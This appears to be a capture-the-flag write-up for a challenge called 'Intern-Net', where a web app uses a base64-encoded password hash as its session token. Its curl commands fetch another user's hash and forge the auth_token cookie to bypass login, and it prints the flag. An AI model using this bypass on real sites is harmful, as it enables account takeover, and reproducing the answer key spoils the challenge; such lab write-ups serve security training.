Intern-Net

A web app performs authentication on the client side. The server hands out a user's password hash, and the session token is just the base64-encoded hash. Fetching another user's hash and setting the auth_token cookie fully bypasses login.

Solve

1. Read login.js. The client fetches a hash from /api/auth/hash and uses its base64 encoding as the auth_token cookie.
2. Find the target username. Registering an account and logging in shows an announcement naming "Alex Rivera" as a Senior Intern. The site uses firstname.lastname, so the target is alex.rivera.
3. Start the instance, then fetch the target's password hash:

   curl -X POST -H "Content-Type: application/json" \
        -d '{"username":"alex.rivera"}' \
        https://<target>/api/auth/hash
   

   The response is {"hash":"$2b$12$..."}.
4. Base64-encode the hash to build the token:

   echo -n '$2b$12$q5IIzkIvlK1kcjhu0vFgDeZY7yCm0EyikQnVCu7O8GHKjY05oBe82' | base64
   

5. Request the protected /announcements page with that token in the auth_token cookie:

   curl -b "auth_token=JDJiJDEyJHE1SUl6a0l2bEsxa2NqaHUwdkZnRGVaWTd5Q20wRXlpa1FuVkN1N084R0hLalkwNW9CZTgy" \
        https://<target>/announcements
   

   The flag is on the announcements page.

Flag: SVIUSCG{175cbce0ef9840a60eef9862874d9986}